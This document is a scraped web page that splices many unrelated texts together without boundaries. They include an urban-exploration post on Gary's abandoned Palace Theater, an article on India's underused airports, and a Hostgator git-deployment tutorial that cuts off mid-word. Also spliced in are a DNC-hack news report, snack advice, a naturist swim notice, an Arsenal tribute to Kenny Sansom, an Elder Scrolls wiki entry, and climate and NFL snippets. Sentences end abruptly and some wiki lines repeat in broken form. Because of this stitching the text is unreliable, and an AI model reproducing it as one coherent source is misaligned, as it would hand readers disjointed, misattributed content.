If you are on PC and want to see the new Mods menu in Fallout 4, you’ll need to opt into the beta on Steam by right clicking on the game in your library, going to property then betas.The Palace Theater, once a grand venue for motion pictures, vaudeville acts and stage plays, fell victim to Gary, Indiana's tragic decline. The ornate playhouse now stands abandoned and ravaged by scrappers and the elements.After exploring the ruins of Gary Public Schools Memorial Auditorium, I had one more stop before I'd leave Gary and continue east: The Palace Theater.At the time of my visit there were no fences or No Trespassing signs. The entrances to the theater and backstage area stood wide open.The interior was cavernous and pitch dark except for a little bit of daylight spilling in through the doorways and a hole in the roof. Still I was able to capture a few decent long exposure shots.A piano remained in the orchestra pit, dusty and weathered.A tattered backdrop hung over the stage, a faded image of Morocco, left from the final production before the Palace Theater closed for good.The audience seating had been destroyed over the years and lay in decaying chunks across the floor and balcony.The balcony level has become unstable after decades of decay and the railings are gone, making it a hazardous place to venture in the dark.Toward the back of the building a set of stairs led down to a basement submerged in standing water.I climbed the staircase to the upper floor and was surprised to find that it housed apartments.Time has not been kind to them.Most of the units were rather small and several used Murphy beds as a space saving technique.Mineral deposits hang from the ceiling of the upper level in tiny stalactites from years of flooding.The Palace Theater was designed by architect John Eberson and built in 1925 in Gary, Indiana's Emerson neighborhood. It seated an audience of 3000 and featured live stage shows, vaudeville acts, and motion pictures.John Eberson was famous for creating atmospheric theaters, which became popular in the 1920s. Atmospheric theaters were designed to resemble European courtyards or gardens and to make the audience feel like they were immersed in the scene rather than observing it from afar.The curved ceiling of the movie palace was painted the dark blue of an evening sky and projectors cast wispy clouds onto it.Low-voltage chandeliers were meant to mimic starlight. Alcoves along the walls contained stuffed birds and statues that one might find in a Spanish courtyard.After US Steel drastically decreased its workforce in the '60s, the city of Gary, Indiana experienced severe economic decline and increased crime. Attacks and muggings became common in the area.In 1968, Aldrid Black, a high school sophomore was stabbed to death in the lobby of the Palace Theater. The venue quickly developed a reputation as a place of violence and drug dealing. It finally closed in 1972 after a young woman was attacked in the restroom.Several short-lived attempts to reopen the theater occurred in 1975 and 1976, but both failed due to financial difficulties.In 1987 a group of investors planned to renovate the Palace Theater and neighboring storefronts at a cost of $500,000, but the plan never came to fruition.In 2002, when the Miss USA pageant was held in Gary, the theater's front windows were covered in plywood painted to create the illusion that it was still operational. The marquee out front announced "Jackson Five Tonite". The lettering remained for many years until it was gradually brought down by the wind. If you look closely at the marquee, you can still see the faint silhouettes of the letters against the white background.It is sad to see the once-exquisite movie palace in such an advanced state of decay and it seems unlikely that it will be renovated and reopened anytime soon. It would take a lot of work and funding to breathe new life into Palace Theater, and given the city's continuing decline, it would be a risky investment.After exploring the Palace Theater, I said goodbye to Gary, Indiana and made my way to the sprawling ruins of Kingsbury Ordnance Plant, a World War II-era ammunition factory. I can't wait to tell you all about it in my next article. To receive an email announcement, please subscribe to Places That Were Thank you for visiting. If you enjoyed this article, please share it on Facebook Until next time, check out my previous posts about the incredible places I explored on my Epic Rust Belt Road Trip And feel free to follow me on social media:Facebook: http://www.facebook.com/placesthatwere Instagram: http://instagram.com/theplacesthatwere Twitter: https://twitter.com/placesthatwere/ Tumblr: http://placesthatwere.tumblr.com/ Google+: https://plus.google.com/u/0/+JimSullivanPlacesThatWere/posts EyeEm: https://www.eyeem.com/u/placesthatwere Youtube: https://www.youtube.com/jimplicit 500px: https://500px.com/placesthatwere Thank you!India needs to upgrade its airports. And quickly.
The country's crowded airports handled more than 220 million passengers during the most recent fiscal year, an annual increase of nearly 20%. Traffic is expected to double over the next two decades, propelling India past the U.K. to become the world's third-largest aviation market.
But there's a major obstacle to sustaining that growth: Less than 20% of the country's airports are in regular use.
The shock figure was cited by Ajay Singh, chairman of Indian budget airline SpiceJet, at the CNN Asia Business Forum in Bangalore on Monday. According to Singh, only 75 of the country's 400-odd airports are fully operational.
Singh said the poor infrastructure will make surpassing the U.K. a "huge challenge."
"Typically capacity always lags demand in our country," he said. "There are another 325 [airports], we need to upgrade them."
Related: India is willing to privatize its loss-making national airline
India's aviation ministry suggests the problem is even worse: It says only 75 out of 450 airports and airstrips in the country have scheduled operations.
Poor planning has contributed to the huge number of unused airports. Successive central governments have commissioned new airports, but there's not always demand for flights in the chosen locations. Many existing airports languish while new runways are built elsewhere.
The current government is trying to reduce the number of "ghost airports." It recently announced a scheme to boost regional connectivity by reinvigorating 43 airports. The renovations will only take place if airlines commit to fly there.
Related: How 'America First' could turn into 'India First'
That could potentially take some pressure off aviation hubs in India's big cities, which are bursting at the seams. Six airports -- Mumbai, Delhi, Bangalore, Chennai, Kolkata and Hyderabad -- handle two-thirds of the country's air traffic, according to data from the Airports Authority of India.
"Let's not look at only the Delhi airport or the Mumbai airport or the Bangalore airport," Singh said. "We need to create capacity in [smaller towns], which is where the growth is really happening."
SpiceJet is making sure it has the resources to handle new routes, having recently bought 100 new aircraft from Boeing.
But unless India succeeds in building up its airports, those planes could find themselves with nowhere to go.Many use 3rd party git hosting (Github.com) to host their git repos, but sometimes you’re not wanting to take your project to a social network. Sometimes your repo is for yourself, for your website and no one else. I want to run you through how to setup your Hostgator account with the configuration needed to push directly into Hostgator in 3 steps. Theoretically you can do this with any shared hosting that gives you SSH access and has Git Client installed.
1.) Setup Hostgator
Make sure you have SSH access. Shared hosting accounts with Hostgator do not come with SSH access by default. You will have to go to the support chat and ask for SSH access or go here and ONLY follow instructions for “Shared Web Hosting”, this will only take minutes and is effective immediately. Once they give you access, make sure you can login. SSH port for hostgator is 2222. Here is how you would SSH into your account with your Hostgator username and password.
ssh USER_NAME@your-domain.com -p 2222... Enter your password: *********
Get your public key into Hostgator.Your public key is located at ~/.ssh/id_rsa.pub (on your workstation), copy the contents and paste it in a file on Hostgator: ~/.ssh/authorized_keys.
Incase you don’t have ~/.ssh/id_rsa.pub on your workstation, run ssh-keygen in your console and hit enter all the way through. At the end of that, you will have the ~/.ssh/id_rsa.pub file on your computer. If ~/.ssh/authorized_keys does not exist on Hostgator, then create it with touch ~/.ssh/authorized_keys.
Configure your repo on hostgator. First, you need to set a config option in your hostgator repo to accept pushes into this working directory. SSH into hostgator, navigate to your repo directory and run this command:
git config receive.denyCurrentBranch ignore
Finally, you need to set a git hook that will refresh your working directory after the push has been accepted. Save the following content in: PATH_TO_REPO/.git/hooks/post-receive.
#!/bin/sh # Save this in: PATH_TO_REPO/.git/hooks/post-receive GIT_WORK_TREE=../ git checkout -f
Then, make it executable with chmod +x PATH_TO_REPO/.git/hooks/post-receive
2.) Setup Your SSH Config Locally
Automate SSH connection for Hostgator. In order to add hostgator as a git remote, you need to automate the fact that you will be connecting to hostgator via port 2222 and you will not be using your password for authentication. Your need to edit/create the file ~/.ssh/config on your computer. Then add this content.
Host your-domain.com Port 2222 PreferredAuthentications publickey
Now, you should be able to login with ssh user_name@your-domain.com without needing to type your password. If this is not the case, start over at step 1.
3.) Setup Hostgator as a Remote
Add your domain as a remote. On your computer, navigate to your git repo and run this command:
git remote add hostgator-live user-name@your-domain.com:www/site-directory
Now, you can make you changes to your repo and when you are ready to push your changes:
git push hostgator-live
Something to think about
With this setup it is now easy to have a “dev” site on your hostgator account too. SSH into hostgator and replicate your repo into a different folder ( ~/www/dev ). Locally, setup a new remote:
git remote add hostgator-dev user-name@your-domain.com:www/devSom |
. Where do those numbers come from? Ryan does not explain, and his spokesman did not respond to a query.
In one of the more dubious assertions, Ryan relies on a report from the conservative Heritage Foundation’s Center for Data Analysis to claim his budget would result in a gusher of jobs. Readers always should be wary when politicians rely on analyses from outside groups, rather than respected government auditors.
The Heritage uses “dynamic” budget analysis, which assumes such things as lower tax rates and less government spending will result in a burst of economic growth and thus more tax revenues, higher wages and more jobs. There has been a long dispute among economists about the actual effect — and whether it can be accurately measured. At first glance, this Heritage model comes up with some numbers that seem rather strange — in fact, so strange that Ryan does not even claim them in his presentation.
For instance, the Heritage analysis claims that the unemployment rate would hit 2.8 percent in 2021, which is a rate that has never been achieved. The claim must have been even too much for Ryan, since his budget document only mentions a 4 percent unemployment rate in 2015 — which itself would be a neat trick.
The Pinocchio Test
We have only scratched the surface, but a pattern is emerging. As with President Obama’s budget, the Ryan budget plan relies on dubious assertions, questionable assumptions and fishy figures. The ideas may be bold, but the budget presentation falls short of his claim that he is getting rid of budget gimmicks.
Two Pinocchios
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Follow The Fact Checker on Twitter and friend us on FacebookThe possibility that Russia is behind an information warfare operation to interfere in the U.S. election has sparked concern among administration officials, but it also generated skepticism that there is a Kremlin master plan to install Donald Trump in the White House, as some political operatives are now alleging.
Intelligence officials, who spoke on the condition of anonymity to discuss an issue under investigation, said there is little doubt that agents of the Russian government hacked the Democratic National Committee, and the White House was informed months ago of Moscow’s culpability.
[The roots of the hostility between Putin and Clinton]
What is at issue now is whether Russian officials directed the leak of DNC material to the anti-secrecy group WikiLeaks — a possibility that burst to the fore on the eve of the Democratic National Convention with the release of 20,000 DNC emails, many of them deeply embarrassing for party leaders.
The intelligence community, the officials said, has not reached a conclusion about who passed the emails to WikiLeaks.
The Fix's Chris Cillizza explains why Donald Trump made a mistake when he called on Russia to find Hillary Clinton's missing emails. (Peter Stevenson/The Washington Post)
“We have not drawn any evidentiary connection to any Russian intelligence service and WikiLeaks — none,” said one U.S. official. Doing so will be a challenge, in part because the material may not have been passed electronically.
Also unclear, the officials said, is the motivation, even if Russia is behind the leak. It may be that the Kremlin wishes to disrupt and discredit the U.S. political process without seeking any particular result.
Michael V. Hayden, former CIA director, said, “Frankly, I don’t think they’re motivated by thinking they can affect the election itself.” He said the Russians, already masters at “information dominance” or using information as a political and military weapon, may be flexing their muscles “to demonstrate that they can — not necessarily to make Trump win or Hillary lose.”
If they are truly behind the email dump, he said, “they’re taking their game to another level.”
The email dump, current and former national security officials said, is highly troubling, regardless of its provenance. And it could warrant considering whether the elements of the electoral process should be raised to the level of “critical infrastructure,” such as power grids and key financial systems, which merit special protection from cyberattacks, some officials said.
[Anxiety for Democrats: Are more leaks to come?]
“We’re not used to thinking of the election system as a critical infrastructure,” said one senior administration official. “But I could make the case that it ought to be considered that. We ought to start talking about that.”
1 of 45 Full Screen Autoplay Close Skip Ad × What Donald Trump is doing on the campaign trail View Photos Businessman Donald Trump officially became the Republican nominee at the party’s convention in Cleveland. Caption Businessman Donald Trump officially became the Republican nominee at the party’s convention in Cleveland. Donald Trump speaks at a campaign event at Trump Doral golf course in Miami. Carlo Allegri/Reuters Buy Photo Wait 1 second to continue.
Whoever shared the emails with WikiLeaks, the senior administration official said, “sure as hell didn’t do that for our benefit.”
And WikiLeaks co-founder Julian Assange promised Wednesday another significant release, but he did not specify when.
“There are more DNC emails and we will be publishing more related to Hillary Clinton’s campaign,” he told The Washington Post.
The WikiLeaks release — and the prospect of more to come — has presented the Obama administration with a fresh set of challenges. The 2014 North Korean hack of Sony Pictures Entertainment was another such unprecedented event. The attack not only damaged computer systems, but attacked free speech by seeking to coerce the film studio into pulling a movie that poked fun at the North Korean supreme leader, Kim Jong Un.
Then in 2015, U.S. officials discovered that the Chinese government hacked the Office of Personnel Management, exposing the data of more than 22 million current and former federal employees and their families. The intrusion upended the security clearance process and raised significant counterintelligence issues.
But an influence operation by Russia to interfere in a presidential election — if that is what happened — would be a bold move, even for President Vladimir Putin, analysts say. It would take what began ostensibly as traditional political espionage into a new category of information warfare.
“I’m deeply concerned because, if Russia is behind this, it would represent an unprecedented and alarming escalation of Russian willingness to interfere in our political process,” said Rep. Adam B. Schiff (Calif.), the ranking Democrat on the House Intelligence Committee. It would be an effort “to help pick a candidate who is favorable to an adversary.”
Some of Trump’s positions — including raising questions about mutual defense among NATO members and potentially recognizing the Russian annexation of Crimea, a part of Ukraine — would be applauded in Moscow, but the GOP candidate has said he has no connection to the Russian president.
Republican and Democratic lawmakers alike are calling on the administration to quickly figure out who is behind the leak — and if it is the Russians, to call them out.
“Mr. Putin’s Soviet-style aggression has escalated to levels that were unimaginable just a week ago,” Sen. Ben Sasse (R-Neb.) said in a statement. “America is digitally exposed. The United States must take serious offensive and defensive actions now. Russia must face real consequences.”
If it is Russia, Schiff said, the administration should absolutely say so. “They should make it known publicly and forcefully,” he said. “Even if they’re not able to lay out the evidence because it would disclose sources and methods, they should make the attribution.”
The FBI, which has been investigating the hack for months, announced its involvement this week.
Forensic evidence linking the email dump by WikiLeaks to Russia came from a cyber-researcher and former Army intelligence analyst who on Tuesday concluded that the party that passed the material to WikiLeaks was part of a Russian information operation.
The party, who calls himself Guccifer 2.0 and who claimed to be Romanian, used a Russian company that provides a special type of service that helps mask the user’s true location, said Rich Barger, chief information officer at the Arlington, Va.-based ThreatConnect. Barger analyzed communications between Guccifer 2.0 and journalists that were shared with him by the reporters. He traced information in the emails to the Russian service, called a virtual private network. Guccifer also used an Internet address associated with a number of Russian online scams, he said.
“Determining with confidence who was behind it — if the Russians were the hackers, seeing them pass that data to WikiLeaks — is probably much more difficult than attributing it to the initial hacker,” said former National Security Agency Director Keith B. Alexander at an FBI cyber-conference at Fordham University this week. “That’s a tough one — especially because there are different ways of passing that information, not all electronic.”
The larger question, Alexander said, is “ ‘Why did they do this? And what were they trying to influence?’ That’s the real issue.”
Not everyone is convinced that the Russians, if they did it, meant to influence the election. “This is not Putin trying to help Trump,’’ said Leo Taddeo, a former FBI special agent in charge of cyber and special operations in New York. “I think they were messaging Hillary Clinton, telling her that they can get in the way of her election if she doesn’t show some flexibility in her position toward them.”
Some analysts actually think Putin would see his interests better served by a President Clinton, who is well known in Moscow. “If I’m in the Kremlin, I’d love to see Hillary in office,” said one former intelligence official. “She’s incredibly predictable and not willing to do confrontation. Trump is both unpredictable and confrontational. As a game theory person, I’d much rather play poker against Hillary. I’d win every hand.”
Julie Tate contributed to this story.
Correction: An earlier version of this report incorrectly said the 2014 North Korean hack of Sony Pictures represented the first time a foreign government hacker targeted an American company. It was the first time such an attack was perceived to threaten free speech.
Read more:
In a major cyber-hack, whom do you call? The White House spells it out.
U.S. military’s digital war against the Islamic State is off to a slow start
Pentagon says proposed Russian deal in Syria is ‘not based on trust’
Today's coverage from Post correspondents around the worldSnacks are enjoyed by almost everyone. Everybody has a list of their favorite snacks. Whether for a quick energy boost or relief from hunger, snacks have become a part of the daily routine.
However, industries today give less focus to the authentic health benefits their products offer. Below are nine of the healthiest snack you will ever put your hands on.
Bakes Cauliflower
When baked right, cauliflower has the consistency similar to a sweet potato. Take some fresh cauliflower and break them up into florets. Sprinkle with a generous amount of sea salt. Baking them will take up to 40 minutes at 400 degrees. The tips of the cauliflower must turn to a deep brown color.
Carrot Sticks
Being naturally sweet and filling, carrots make for a great snack. Peel and chop big pieces of carrots. Put them in a container. They are travel friendly and convenient. Get some bags for snacks and distribute the slices of carrots. This is perfect for people who are always on the go.
Greek Yogurt
Greek yogurt contains two times the amount of protein packed in regular yogurt. It certainly will make you full. Freeze to achieve ice cream like consistency and mix with frozen berries.
Tea
Tea is not a snack but it goes well with the snacks you take. It works like coffee minus those jitters. One mistake people often assume is that, thirst is mistaken for hunger. Tea is great at speeding up the metabolism and keeps the stomach full and satisfied.
Heirloom Tomatoes with Balsamic Vinegar
Heirloom tomatoes are really good. The dark purple ones and the black varieties like a Cherokee are naturally sweet. They do not contain the acidity level of normal tomatoes like roma tomatoes and beef steak tomatoes. Slice the tomatoes drizzled with balsamic vinegar, a perfect snack in the summer time.
Egg Whites
Being high in proteins and low I calories (17 units per egg), eggs make a great snack. A thin crepe made out of egg whites, sprinkled with chopped green onions. Add a little sugar to taste.
Kale Chips
Despite its convenience, making kale chips requires some preparation ahead of time. Take some kale and give them a light coat of olive spray. Get some fresh sea salt and sprinkle them. Put them in a preheated oven at 350 degrees. It will take 10-15 minutes to bake.
Clear Broth Soup
Opaque and milky broths are made of heavy cream, Stay away from them. Boiling a whole chicken with stock ginger, garlic, and white onions for an hour will make a great broth. This is low-fat.
Air-popped Popcorn
Make it at home. Sprinkle with popcorn seasoning to taste. You may also add some cinnamon and a little sugar.
Choose healthy food to promote wellness from the inside. Make the list above a part of your next week’s meals.>>> If you can see this, you may be looking at an unauthorised copy of our web-page (eg. naturistuk.com). This could be out of date. Please visit http://naturist.london to see the current version. <<<
Ever been skinny dipping and wished you could do so more often?
Did you visit a nude beach on holiday and wish there was somewhere to go during the rest of the year?
Never tried but fancy giving it a go?
The regular Sunday Swim is Naturist London's core event. It is just like going to any other public swimming pool except that costumes are banished. Unlike many traditional naturist events, there is no booking, no membership and no commitment. You are welcome to just turn up whether or not you consider yourself a committed naturist.
Come and enjoy a refreshing dip before Sunday lunch. Come once or come often. Come with friends or come alone and make some new ones.
Location
Energybase, University of London Student Central, Malet St, Bloomsbury, WC1E 7HY
Open Location Code: 9C3X GVF9+3G
Time
12 noon to 2pm on Sundays. Check our Events Calendar for dates.
Cost
Pay in cash or present voucher on the poolside. Exact money please.
Adults £10 each (cash rate) or £15 for two (voucher rate)* Under 18s free - must be accompanied by parent or guardian Students £2 on production of current UK University ID or ISIC card
* Voucher rate (buy one, get one half price) can be applied to any two people paying together or to one swimmer who pays for two swims at once and receives a voucher for a second visit.
Please read the swim rules, terms & conditions.
Directions
Walk in through the main Student Central entrance on Malet St, walk straight ahead and down the stairs to the "Energybase" health club. Sign in at the reception desk - be prepared to show some photo-id. If you want to use a locker, you exchange your photo-ID at the desk for a key-card; there is no charge and you get your ID back when you return the locker pass on the way out. Then go downstairs to the changing rooms. Undress first and go directly to the poolside. Pay the duty hosts before entering the water - exact money if possible please.
Please note, many other activities go on at Energybase concurrently with our swim. The changing areas are also used by those attending these and are gender-segregated. Only the pool area is naturist.
Children & Under 18s
Under 18s must be accompanied by a parent or guardian.
Parents with younger children should be aware that this is a traditional laned pool with a depth sloping from approximately 1.0m to 3.4m. Polystyrene floats are available and can be requested from the lifeguard.
Accessibility
The building was constructed during the 1950s and presented many challenges to adapt to meet modern standards. The pool is in the basement, down 2 flights of stairs. There are two retro-fitted lifts which allow access by wheelchairs users, however these must be operated by a trained member of staff. In addition, the water surface is not flush with the pool edges but a hoist is available to allow the lifeguards to assist if required. If you would like to join us but require assistance or have any concerns about access, please contact the Energybase reception on 020 7664 2002 / 2091.I was a London boy. I wanted to go to Highbury. I wanted to be a part of the whole setup at The Arsenal. It was straight out of a Roy of the Rovers comic.
Kenny Sansom
I believe he was the greatest Arsenal left back ever.
Tom Watt
In a summer where a player with less Champions League experience and goals than Nicklas Bendnter is being touted to Real Madrid for the price it would cost to build and run ten children's hospitals, and a Uruguayan on £80,000 a week has complained of being unfairly treated, it is perhaps better that we concentrate on a genuine hero who has fallen on hard times.
It was with sadness but not altogether shock that an ex Crystal Palace left back spoke distressingly of financial and emotional problems this month. No not Ashley Cole, a Selhurst loanee and Junior Gunner who once nearly crashed his car in shock and disgust when being informed Arsenal offered him a new contract worth fifty-five thousand pounds a week. No, perish the thought. I am referring to an unpretentious and authentic Gunners champion and legend: Kenny Sansom.
August 1983. Kenny is at the height of his powers. A summer previously he was ranked as one of the best left backs on the planet at the 1982 Spain World Cup. If not as good as Italy's Antonio Cabrini, or Brazil's Junior he certainly deserved to inhabit the rarefied stations that France's Manuel Amoros, or an ageing Paul Breitner held. He was certainly the best left back in England - Derek Statham, Alan Kennedy, Nick Pickering anybody?
Patrick cagoules, Fila tops, Diadora Pat Cash trainers and pink and grey diamond Pringle jumpers were the must have fashions in the North Bank and Clock End that summer of 83. KC and the Sunshine Band were number 1 with Give it Up. Arsenal had just completed a tour of Indonesia, clinched an audacious signing by trumping Liverpool over a goalscoring centre forward, and there was hope in the air for a first trophy that decade.
Sansom mirrored the aspirations – he had just moved into a new house, been offered a new contract, was a long term England International, and playing for a club on the up as they took to the field for their first home game of the 1983/84 season against Luton Town. What could go wrong?
Three months later manager Terry Neil had been sacked, the final straw being a humiliating League Cup home defeat by Walsall - especially resonant for Arsenal fans as it brought back memories of the great 1930s team being humbled at Fellows Park in 1933, still one of the greatest upsets in FA Cup history.
The 83/84 team underperformed, weren't as fit as they should have been, didn't train as hard as they could and was riven with cliques. There was dissatisfaction with the board from the fans and any notional chance of the title had evaporated by early September.
The youngsters that would flourish under George Graham had yet to be blooded by Don Howe and there was a distinct lack of leadership. Yet amongst the Arsenal players one man in particular stood up to be counted. "We are disappointed with our form as we know it simply isn't good enough for a club of our stature", Kenny Sansom was quoted as saying in November 83, "but Arsenal is my club and I'll always do my best for the supporters". This from a man who said joining Arsenal was "bloody marvellous".
For one of the best left backs in the world to show such character and loyalty to Arsenal at such a difficult time was taken for granted back then. It shouldn't have been. Imagine if it happened now? For Kenny back in that winter of 1983 there was certainly no agent planted stories of how the club didn't match his ambition, how he was unhappy with his new contract that failed to reflect his standing in the game, no mutterings of departure to pastures new, criticism of the club, board, manager, or fans, and certainly no self-pity.
Kenny was a true Arsenal man: he knew when to speak, when to keep quiet and when to let his football talk for him.
He also gave total commitment on the pitch, devotion, spirit and above all loyalty to this club of ours in one of our darker moments, even if he did like a drink even back then. What more can you ask of a player in the red and white of The Arsenal? Especially one that had true quality stamped all over him.
The team rallied somewhat, ending the season a creditable sixth considering the dire autumn they had experienced. Our South East Counties side was blooming, a certain Tony Adams had already made his league debut (in a miserable 2-1 home defeat by Sunderland) in that confused November of 83. There was talk of sparkling new talent coming through by the name of David Rocastle and by 1987 the club was resurgent, led by a passionate and hungry new manager called George Graham.
One of the few constants of that mid 80s era of turbulence and changing of the guard at Highbury was Kenny. He stood steadfast as a talented, loyal and honest symbol of the Gunners.
Of course nothing lasts forever, certainly not in professional football. Ironically at one of his highpoints, scoring a late winner against a determined West Ham side in front of a delirious North Bank on his 29th birthday in September 1987, the writing was already on the wall: the ruthless Graham had already given a debut to an ex Wimbledon player left back that month, albeit at right back.
At the Mexico World Cup the previous summer the signs were there if you knew where to look. Sansom who had always relied on his deceptive pace despite his stocky build (and increasing penchant for alcohol) along with his uncanny timing and ability to nick the ball off attackers before starting dangerous counterattacks was left for dead by Maradona during his stunning non hand of god goal. It was the first sign that Kenny's legs were going, for Sansom had matched the young Maradona for pace in a 3-1 friendly win at Wembley in 1980.
Yet it was a sign of the respect and high standards that Sansom, (unbeknown to the majority already battling the demons that were starting to emerge from the shadows) kept his place at left back that whole season ahead of the burgeoning Nigel Winterburn. However, Sansom knew his time was coming to an end. In an early training game Graham and Sansom watched the new lad. After a minute the Scot turned to Kenny and said: "now that's how you play left back". (It was a mark of Sansom's inherent decency that even in his autobiography, where points scoring from embittered ex pros is expected, he actually thanked Graham and Terry Neil for all their help, even wishing that he had listened to them more).
So it was on 5 April 1987 that Kenny Sansom, as captain of Arsenal Football Club, lifted his first and only piece of silverware after we had beaten Liverpool 2-1 in a glorious League Cup Final.
I was at Wembley that day as a kid. I couldn't understand why big hairy arsed blokes all around me on those huge terraces were hugging each other on the verge of tears; some even shouted "eight f*cking years" in an outpouring of emotion. I didn't realise back then the relief a trophy brings, the catharsis of it all, almost an exorcism of bad times past.
That is what those supporters were crying about even if they didn't see it in those terms. All they and I knew back then was that Kenny Sansom had played his part in my team winning the League Cup. And I loved him for it, like I loved them all.
What has happened to him off the pitch since that marvellous sunlit spring afternoon only raises more questions than answers. Should football carry a health warning or does individual behaviour precipitate the road to ruin? Do the choices we make condemn us or are we helpless in the face of addiction?
It is good to hear that Arsenal have offered him help. So have Sporting Chance. Many ex-pros he played with have sent him their best wishes.
Arsenal have lost Paul Vaesen and Tommy Caton to addictions. I truly hope Kenny Sansom isn't added to that list.
Whatever you think of a man who once lived in a mock Tudor mansion ending up using his shoes for a pillow on a park bench, the fact is Kenny Sansom was, is and always will be a genuine Arsenal legend. He stood by us in one of our darkest moments: we should stand by him in his.
So Kenny, thank you for your faithfulness, dependability and allegiance, for the memories, good and bad, and for the fact, from the day you pulled on our glorious red and white you have always been an Arsenal man through and through.
For that reason, if you're at the Villa home game like my friends and I will be (or even if you're not) sing Kenny's name to show him Arsenal fans don't forget loyalty to our cause.
And even if our throats catch at the awfulness of his current plight, sing his name loud and proud – it's the least we can do for a true Arsenal man who has fallen on hard times.
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Goonersphere's response:
Thank you for that wonderful post Layth and for sharing on YouWrite. Kenny is a club legend and what some seem to forget is that footballers wages haven't always been what they are and many players that we remember from our youth have fallen on hard times. We'll certainly be singing Kenny's name against Villa. We're not sure how much of a help it will be royalty wise but if anyone fancies helping out our former hero or learning a bit more about him for the first time please check out his book "To Cap It All" available on Amazon in hardback or on Kindle.
What did you think of Layth's post? Leave him a comment telling him what you think or maybe even write your own post on YouWrite."M'aiq knows much, and tells some. M'aiq knows many things others do not." ―M'aiq the Liar[src]
M'aiq the Liar is a recurring source of misinformation in the Elder Scrolls series, featured in Morrowind, Oblivion, Skyrim, and Online. He was introduced by the game designers as an easter egg to provide commentaries about the Elder Scrolls series.
Contents show]
By game Edit
Interactions Edit
Wherever he is found, he loves to share his opinions with those he meets on a variety of random topics including children, Colovian Fur Helms, the Companions, crossbows, dragons, fighting with one's feet, fish sticks, nudity, werewolves, and more. He almost always speaks in third-person when spoken to, like most Khajiit.
Age Edit
M'aiq has not directly confirmed how old he is. One of his lines in Skyrim is "M'aiq's father was also called M'aiq. As was M'aiq's father's father. At least, that is what his father said.", giving support to the fact that the M'aiq in each game is different than the other. Considering M'aiq has been around since the events of The Elder Scrolls Online, if he were to be the same character he would have had to have lived over 1,000 years, an abnormally long lifetime for a Khajiit. An Inscribed Flute in Crow's Wood reads "A gift from M'aiq to his son, M'aiq," further implying that each M'aiq is not the same one as the previous, but rather related.
Trivia Edit
His appearance in Morrowind is slightly different from his design in Oblivion. M'aiq resembles a tiger in his first in-game appearance, while he looks like a mountain lion in Oblivion.
is slightly different from his design in. M'aiq resembles a tiger in his first in-game appearance, while he looks like a mountain lion in. Despite making comments about eating horses in Morrowind and Oblivion, horses were not made edible until the release of Skyrim.
and, horses were not made edible until the release of. M'aiq is vaguely reminiscent of 'Smith the Horse' from the Ultima series; Smith played a similar role in those games, but his information (while useful) was always one game late.Burning all the world's known fossil fuels would result in the release of the equivalent of 5 trillion tonnes of carbon dioxide and drive global temperatures 8 degrees warmer than pre-industrial levels by 2300, a report by Canadian researchers has found.
The study, published on Tuesday in Nature Climate Change, extended models used for the Intergovernmental Panel on Climate Change and found impacts that were "considerably larger" than previously indicated.
For instance, by 2300, global temperatures would range from 6.4-9.5 degrees warmer than pre-industrial times with a mean warming of 8.2 degrees. Arctic regions warm by as much as 19.5 degrees.
Rainfall changes would include increases of as much as fourfold in tropical areas, while more-temperate areas – such as parts of Australia, the Mediterranean and the Amazon – could have rainfall halved, the researchers led by Katarzyna Tokarska, at University of Victoria, found.Jaguars receiver Dede Westbrook can’t wait to play.
And the Jaguars can’t wait to see how Westbrook can help their laboring passing game.
Life without Allen Robinson (torn ACL in Week 1) has been a struggle for the Jaguars, who rank 30th in the NFL (179-yard average) in passing entering Sunday’s game at Pittsburgh.
Westbrook underwent core muscle surgery Sept. 12 in Philadelphia. He posted a video of himself Wednesday running on a treadmill.
“I’m progressing really well, actually,” Westbrook told the Times-Union. “It’s a lot faster than I thought I would be considering I just got out of surgery [three] weeks ago. I’m taking it seriously and working to get out there.”
If the Jaguars use the “designated to return” option for Westbrook, he can return from injured reserve to play this year. He is eligible to practice Oct. 20 (six weeks after his IR date) and can play eight weeks after his IR date (Nov. 3), which would mean the Nov. 5 Cincinnati game.
Westbrook said Week 9 against the Bengals is the target date.
Without Robinson, the Jaguars have been unable to threaten teams downfield. Their 11.1-yard per catch average is 18th in the league and their six catches of at least 20 yards are tied for 29th.
Westbrook led the league with 288 receiving yards in the preseason, including six-catch games against Tampa Bay (131 yards) and Atlanta (115 yards). Granted, Westbrook was working against players who now occupy practice squads or the unsigned free agent list, but production is production. A player like Westbrook should shine against back-ups.
Westbrook came up sore during warm-ups for the Carolina game on Aug. 24 and did not practice leading into the Falcons game. But he played and he appeared ready to go until he was limited in practice Sept. 6-7 and was placed on injured reserve Sept. 8, two days before the opener at Houston.
“I had a couple of splash plays [against Atlanta], but I was still feeling the pain as I was going through that game,” Westbrook said. “There was no possible way I was going to make it through a 16-game season feeling the way I was. I had a few big plays against Atlanta, they could have turned into easy touchdowns, but the injury was hindering me.
“It was good that I got it taken care of.”
(The cynical aside: Did the Jaguars err in having Westbrook play the preseason finale? The surgery likely would have been required as soon as he played in any game.)
Westbrook has attended all of the receiver and offensive meetings during his stay on injured reserve.
“I pretty much go through the playbook and the game plan as if I’m playing that week,” he said. “I’m in every meeting making sure I’m not missing anything so when I do come back, it will be a [quick] transition.”
Said offensive coordinator Nathaniel Hackett: “That’s very important. Not only is he a young, rookie player but he’s in a very different system than he was in college [at Oklahoma]. The more we keep him around and the more we involve him, it’s going to be huge because you always want them to come back in condition and ready to rock.”
The absence of Westbrook was amplified when Robinson was injured.
The semi-criticism on Westbrook during training camp were his struggles against press coverage. But that should not be a reason to hold him back when healthy. If that remains an issue, the Jaguars should put Westbrook in motion and/or line him up in a stack formation to avoid pressing cornerbacks.
Well ahead of Westbrook’s return, the Jaguars must take more shots – and complete some of them – downfield to make defenses play them more honestly.
In four games this year …
Passes that traveled 11-15 yards in the air: Blake Bortles is 11 of 24 for 164 yards, no touchdowns, no interceptions and a 68.8 rating.
Passes that traveled 16 or more yards in the air: Bortles is 6 of 16 for 138 yards, two touchdowns, no interceptions and a 108.8 rating.
(Not included are five passes that traveled at least 16 yards downfield that fell incomplete but resulted in a first down through an opponent’s penalty.)
Last week against the Jets, Bortles was 2 of 12 on attempts that traveled 11 or more yards, including incompletions that traveled 21, 19, 17 and 17 yards.
“If you throw the ball down to [the tailbacks], that’s OK but you continually go after those shots down the field,” Hackett said. “We did last week and some of them weren’t there.”
Maybe they will be there once Westbrook returns and gets back up to speed.Bigelow Aerospace’s BEAM module, installed on the ISS earlier this year, is a step towards full-scale commercial modules on the station and, eventually, commercial space stations. (credit: Bigelow Aerospace) America’s future in LEO? The possibilities and challenges facing commercial space stations (part 2)
